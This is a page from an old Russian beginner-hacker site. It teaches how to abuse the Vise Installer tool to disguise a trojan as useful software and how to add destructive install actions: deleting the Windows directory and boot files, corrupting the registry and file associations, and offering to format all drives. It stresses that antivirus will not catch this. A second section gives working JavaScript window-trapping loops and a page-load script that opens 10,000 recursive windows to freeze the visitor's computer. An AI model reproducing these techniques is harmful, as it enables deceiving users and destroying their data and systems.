Добро пожаловать на сайт DrTroi, здесь вы сможете найти практически всё о  хакинге, и ещё очень много всяких вкусностей

 

 

 

Энциклопедия

Начинающего хакера

 

 

Софт и программы

 

ЧАТ

 

ФОРУМ

 

ГОСТЕВУХА

 

Прикольные надписи на партах и   разное

 

 2.8. Что такое инсталляция?

 

Давай сразу к делу — мы ж с тобой хацкеры, а не чат-гёлз какие-нибудь. Итак, когда ты покупаешь (скачиваешь, нелегально приобретаешь) прогу, то в большинстве случаев для ее установки требуется запустить файл setup, где сначала тебе дают почитать лицензионное соглашение, потом выбрать директорию и все такое. Обычно, чтобы сделать такую установочную приблуду, программеры используют какой-нибудь install maker. Я упражнялся с Vise Installer (это как раз программка такого типа), поэтому все, что тут написано, относится к нему... Эта полезная штучка, предназначенная, на первый взгляд, для сугубо мирных целей, в умелых руках становится мощным оружием (как булыжник в руках пролетариата).

 

Первым делом скачиваешь (или находишь где-нибудь на сборнике) Vise (www.mindvision.com — там надо заполнить разную регистрационную шнягу, но это уже мелочи). Ломать ее, конечно, надо, но как, пояснять не буду.

 

Надо работать!

 

Маскируешь свое детище под дистрибутив какой-нибудь очень полезной проги, указываешь это в Screens. Всячески хвалишь и рекламируешь, добавляешь красивые картинки (настройка экранов осуществляется в меню screen посредством кнопки add screen). Самое простое — это запаковать в инсталлер твоего любимого трояна и в конце установки предложить юзверю его запустить или же создать в меню “пуск” ярлычок с красивой иконкой для запуска все того же трояна. Не правда ли — эстетично? Все для удобства пользователя, все для него, для ламера ушастого.

 

Но троян — это, если честно, прозаично, а ведь можно придумать что-нибудь повеселее. Ведь в процесс установки можно добавлять разный аction (типа создания директории, удаления директории, внесения изменений в реестр и т.д.). Вот с этим и можно поприкалываться от души.

 

Смело жмешь “add\ delete action” и выбираешь там то, что будешь ампутировать жертве... Количество вариантов ограничено только твоей фантазией. В качестве мелкой пакости можно стереть все ярлыки из главного меню, в качестве большой заподлянки — директорию Windows, или autoexec.bat (config.sys, msdos.sys, io.sys...). Никто не помешает тебе подправить win.ini на свое усмотрение. Ты сможешь забить вражеский винт всяким дерьмом по самые уши используя copy action. Можно даже загадить registry (тут придется попотеть, для каждого типа файлов надо будет добавлять Register file type, причем, надо не забывать ставить в опциях галочку на “Dont ask user to replace if already registred”, а то жертва начнет подозревать...).

 

А каково будет изумление юзверя, когда при открытии *.txt или *.wav файла у него будет запускаться что-нибудь не относящееся к делу! Одним словом — почва для вендетты любого масштаба тебе просто прописана, все ограничивается только извращенностью твоей фантазии. Ну а для того, чтобы юзверя окончательно хватил дядька Кондратий, можно предложить ему в процессе установить DirectX 2.0 или показать какую-нить картинку с www.ob.da.ru. В конце установки можно предложить на выбор обычное или низкоуровневое форматирование всех дисков, включая сетевые и CD-ROM. Да, кстати, можно создавать также и Uninstaller'ы, причем неумело созданный анинсталлер убивает regestry, так вот...

 

Что? Ты еще сомневаешься? Нет, парень, это точно твой случай — неужели ты никогда не мечтал ненавязчиво пошутить над каким-нибудь ламерком? Давай, хватай Вайс Инсталлер, и вперед — творить, работать и создавать шедевры западлостроения.

 

Защита

 

А нет ее. Нет и все тут. Конечно, если ты в setup впаяешь трояна, то AVP его рюхнет, а вот если будешь делать гадости через сам сетап, то ни один антивирус ничего не унюхает. Ну что, господа разработчики, об этой фишечке вы не задумывались никогда? Вот теперь подумайте. Удачи!

 

 

 

 

 

 

2.9. Основы создания скриптов

 

Внимай, даю установку: скрипты — это круто. Ты это знаешь, я это знаю, короче — мы это знаем. Установку дал! Успешно. Теперь о них — любимых скриптах — и поговорим. Приятно наваять своими ручками какую-нибудь скриптятину на яве и дать соседу-ламаку пропереться, а пока тот будет ее разглядывать — дать ему пинка. Вот только бага: по ходу все клевое в скриптинге уже придумано. Предложить что-либо кардинально новое (во всяком случае, мне) уже сложно, лучше пива попить пойти. С другой стороны, можно легко насочинять целый ворох вторичных вещей, которые при ближайшем рассмотрении сведутся к нагромождению все тех же базовых методов. А это неправильно — вторичное само по себе на хрен никому не нужно.

 

Наконец (не на конец, а в конце концов!), наступило “творческое озарение”: если нельзя ничего выжать внутри документа, то надо переходить на качественно новый уровень манипуляции самим окном броузера.

 

Сначала чуть-чуть информации для тех, кто забыл (или не знал).

 

В объектной модели современных броузеров (под современными я имею в виду Internet Explorer и Netscape Navigator) есть два очень интересных метода: window.resizeTo (x,y) и window.moveTo (x,y), которые сулят просто огромные возможности. Первый метод изменяет размер “смотрового окна” броузера до указанных размеров (то есть x на y пикселей), а второй перемещает само окно, помещая левый верхний угол в точку с координатами x по горизонтали и y по вертикали. Таким образом, грамотно используя эти два метода, ты легко можешь добиться весьма интересных эффектов, которые буквально валят с ног неподготовленного зрителя.

 

Для начала давай рассмотрим простенький скриптик, отвечающий за перемещение окна броузера по десктопу и его отражение от “краев” экрана:

 

Скрипт 1: Окно в стиле Xonix

 

<script language = javascript> // Начинаем script блок

 

function move_the_window( ){ // Наша стартовая функция

 

window.resizeTo(screen.width/2,screen.height/2);

// Сначала сжимаем окно до половины рабочего стола

 

window.moveTo(1,1); // Теперь помещаем его в левый верхний угол экрана

 

var x=1; // Это будет наша X-координата. Вначале равна единице

 

var y=1; // Это будет наша Y-координата. Вначале равна единице

 

var dx=7; // Смещение по X

 

var dy=10; // ... и по Y

 

move( ); // Теперь вызываем функцию, которая и будет двигать окно

 

function move( ){ // Объявляем функцию

 

while(true){ // Объявляем бесконечный цикл

 

if(x>=(screen.width) || x<=0) dx=-dx; // В случае, если окно на краю экрана по X, меняем направление

 

if(y>=(screen.height) || y<=0) dy=-dy; // То же самое, но уже для Y

 

x+=dx; // Сдвинули по горизонтали

 

y+=dy; // ... и по вертикали

 

window.moveTo (x,y); // Нарисовали окно на новом месте

 

} // Конец нашего бесконечного цикла

 

} // Конец функции move

 

} // Конец функции move_the_window

 

// Ну, и закрываем script блок

 

</script>

 

<html>

 

<head>

 

<title>Script N1</title>

 

</head>

 

<body onload = "move_the_window( )">

 

<center><font face = Times size = 6 color =red><i>JavaScript is cool!</i></font></center>

 

</body>

 

</html>

 

Как только страница полностью загружена, вызывается функция move_the_window. Она объявляет все необходимые переменные и помещает окно в левый верхний угол рабочего стола. Методы screen.width и screen.height возвращают нам значения (ширину и высоту) рабочего стола, и, уже зная их, мы сжимаем окно до половины.

 

Теперь приступим к функции move. Так как все действия здесь выполняются внутри бесконечного цикла, то окно так и будет безостановочно бегать по экрану. Попытка же свернуть его через task manager приведет к интересным визуальным эффектам (советую убедиться на собственном опыте). В случае, если ты хочешь, чтобы цикл выполнялся определенное количество раз, замени оператор while на while(var i < твое число) и добавь в конце цикла оператор i++.

 

С помощью метода resizeTo можно делать довольно любопытные вещи. Посмотри, как можно сжать окно до размеров заглавной рамки и заставить все это, как обычно, бегать по экрану:

 

Скрипт 2: Развитие темы

 

<script language = javascript> // Начинаем script блок

 

function move_the_windows( ){ // Наша стартовая функция

 

window.resizeTo(screen.width, 25); // Сжимаем окно номер 1

 

window.moveTo(0,1); // Теперь помещаем его в левый верхний угол экрана

 

window2 = open("", null); // Создаем объект второго окна

 

window2.document.write("<title> Window N2</title>"); // Пишем в него заголовок

 

window2.resizeTo(screen.width,25); // Сжимаем его и

 

window2.moveTo(0, screen.height-25); // помещаем в низ экрана

 

var dy1=2; // Начальное смещение для верхнего окна

 

var dy2=-2; // ... и для нижнего

 

var y1 = 1; // Y-координата верхнего окна

 

var y2 = screen.height-25; // и Y-координата нижнего

 

move( ); // Теперь вызываем функцию, которая и будет двигать оба окна

 

function move( ){ // Объявляем функцию

 

while(true){ // Объявляем бесконечный цикл

 

if (y1>=(screen.height) || y1 <=0) dy1=-dy1; // Меняем направление

 

if (y2>=(screen.height) || y2 <=0) dy2=-dy2; // То же для второго окна

 

y1+=dy1; // Сдвинули первое окно по вертикали

 

y2+=dy2; // ... и второе

 

window.moveTo (0,y1); // Нарисовали первое окно на новом месте

 

window2.moveTo (0,y2); // Нарисовали второе окно на новом месте

 

} // Конец нашего бесконечного цикла

 

} // Конец функции move

 

} // Конец функции move_the_windows

 

// Ну, и закрываем script блок

 

</script>

 

<html>

 

<head>

 

<title>Script N2 Window 1</title>

 

</head>

 

<body onload = "move_the_windows( )">

 

<center><font face = Times size = 6 color =red><i>JavaScript is cool!</i></font></center>

 

</body>

 

</html>

 

По сути, этот скрипт является расширением первого: новым является наличие двух окон, которые движутся независимо. Обрати внимание на механизм создания второго окна и способ записи HTML-тэгов через document.write.

 

Теперь, познакомившись с этими методами, ты, наверно уже задаешь себе вопрос: а нельзя ли через этот самый JavaScript подвесить клиентский компьютер? Что ж, это вполне возможно. Метод прост до неприличия: все, что только нужно делать, — открывать новые окна с максимальной быстротой. В этом случае у системы просто не хватает ресурсов, и все “повисает”. Другое дело, что, на мой взгляд, этот примитивизм не является чем-то по-настоящему интересным, и, вероятно, раз ознакомившись с этим дубовым методом, ты больше не будешь тратить свое время на эту муру:

 

Скрипт 3: Генерация множества окон:

 

<script language = javascript> // Начинаем script блок

 

function generate_windows( ){ // Наша стартовая функция

 

var i=1;

 

while (i < 10000){ // Главный цикл

 

window.open("script3.htm"); // Новое окно с ссылкой на тот же HTML файл

 

i++; // Увеличиваем счетчик цикла

 

} // Конец цикла

 

} // Конец generate_windows

 

// Закрываем script блок

 

</script>

 

<html>

 

<head>

 

<title>Multiple windows</title>

 

</head>

 

<body onload = "generate_windows( )">

 

</body>

 

</html>

 

Фактически в теле главного цикла скрипт пробует открыть 10000 окон, причем каждое окно ссылается на тот же файл, то есть в свою очередь пытается открыть еще 10000 окон и т.д. Система просто не справляется с таким потоком и, увы, повисает.

На Главную

                       

 

 

 

 



Hosted by uCoz